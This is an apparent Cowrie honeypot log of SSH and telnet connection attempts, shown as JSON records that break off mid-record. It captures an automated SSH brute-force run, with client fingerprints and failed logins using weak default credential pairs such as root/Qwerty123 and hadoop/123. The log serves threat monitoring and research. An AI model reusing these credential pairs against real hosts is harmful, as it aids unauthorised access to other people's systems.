{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52056,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0155d426a3","protocol":"telnet","message":"New connection: 50.6.8.71:52056 (10.17.0.5:23) [session: fb0155d426a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:40.523608Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:40.632480Z","src_ip":"192.109.200.237","session":"19885b1237a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42a6d6dd2fc","protocol":"ssh","message":"New connection: 192.109.200.237:42788 (159.203.135.109:22) [session: a42a6d6dd2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:42.550756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:42.555666Z","src_ip":"192.109.200.237","session":"a42a6d6dd2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:42.642095Z","src_ip":"192.109.200.237","session":"a42a6d6dd2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:42.889181Z","src_ip":"192.109.200.237","session":"a42a6d6dd2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3527503b2a1a","protocol":"telnet","message":"New connection: 50.6.8.71:52066 (10.17.0.5:23) [session: 3527503b2a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:43.935350Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:43.974662Z","src_ip":"192.109.200.237","session":"a42a6d6dd2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52080,"dst_ip":"10.17.0.5","dst_port":23,"session":"2def316236b7","protocol":"telnet","message":"New connection: 50.6.8.71:52080 (10.17.0.5:23) [session: 2def316236b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:44.997738Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42804,"dst_ip":"159.203.135.109","dst_port":22,"session":"266ed72a7496","protocol":"ssh","message":"New connection: 192.109.200.237:42804 (159.203.135.109:22) [session: 266ed72a7496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:45.900747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:45.906152Z","src_ip":"192.109.200.237","session":"266ed72a7496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:45.988439Z","src_ip":"192.109.200.237","session":"266ed72a7496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:46.234353Z","src_ip":"192.109.200.237","session":"266ed72a7496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:47.319757Z","src_ip":"192.109.200.237","session":"266ed72a7496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45596,"dst_ip":"10.17.0.5","dst_port":23,"session":"18700c88b998","protocol":"telnet","message":"New connection: 50.6.8.71:45596 (10.17.0.5:23) [session: 18700c88b998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:48.086862Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42808,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7b0399f362","protocol":"ssh","message":"New connection: 192.109.200.237:42808 (159.203.135.109:22) [session: bb7b0399f362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:49.255411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:49.260042Z","src_ip":"192.109.200.237","session":"bb7b0399f362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:49.425774Z","src_ip":"192.109.200.237","session":"bb7b0399f362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:49.679998Z","src_ip":"192.109.200.237","session":"bb7b0399f362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:50.764432Z","src_ip":"192.109.200.237","session":"bb7b0399f362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35852,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d502c471cf2","protocol":"ssh","message":"New connection: 192.109.200.237:35852 (159.203.135.109:22) [session: 2d502c471cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:52.793531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:52.798788Z","src_ip":"192.109.200.237","session":"2d502c471cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:52.880792Z","src_ip":"192.109.200.237","session":"2d502c471cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:53.129162Z","src_ip":"192.109.200.237","session":"2d502c471cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:54.214597Z","src_ip":"192.109.200.237","session":"2d502c471cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"980683a548af","protocol":"ssh","message":"New connection: 192.109.200.237:35864 (159.203.135.109:22) [session: 980683a548af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:56.196411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:56.200872Z","src_ip":"192.109.200.237","session":"980683a548af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:56.283718Z","src_ip":"192.109.200.237","session":"980683a548af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:56.530280Z","src_ip":"192.109.200.237","session":"980683a548af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:57.616222Z","src_ip":"192.109.200.237","session":"980683a548af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.440079927444458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:59.143106Z","src_ip":"50.6.8.71","session":"53a02f3d454c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35874,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe8c6e5fd62","protocol":"ssh","message":"New connection: 192.109.200.237:35874 (159.203.135.109:22) [session: fbe8c6e5fd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:59.532622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:59.583567Z","src_ip":"192.109.200.237","session":"fbe8c6e5fd62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:25:59.771219Z","src_ip":"192.109.200.237","session":"fbe8c6e5fd62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:00.043106Z","src_ip":"192.109.200.237","session":"fbe8c6e5fd62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:01.128116Z","src_ip":"192.109.200.237","session":"fbe8c6e5fd62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41594,"dst_ip":"159.203.135.109","dst_port":22,"session":"bccfabd84d73","protocol":"ssh","message":"New connection: 192.109.200.237:41594 (159.203.135.109:22) [session: bccfabd84d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:04.271715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:04.277416Z","src_ip":"192.109.200.237","session":"bccfabd84d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:04.360529Z","src_ip":"192.109.200.237","session":"bccfabd84d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:04.608122Z","src_ip":"192.109.200.237","session":"bccfabd84d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:05.693496Z","src_ip":"192.109.200.237","session":"bccfabd84d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec7f1c45384","protocol":"telnet","message":"New connection: 50.6.8.71:49628 (10.17.0.5:23) [session: dec7f1c45384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:06.485897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41618,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb9fc2331409","protocol":"ssh","message":"New connection: 192.109.200.237:41618 (159.203.135.109:22) [session: bb9fc2331409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:06.721823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:06.730237Z","src_ip":"192.109.200.237","session":"bb9fc2331409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 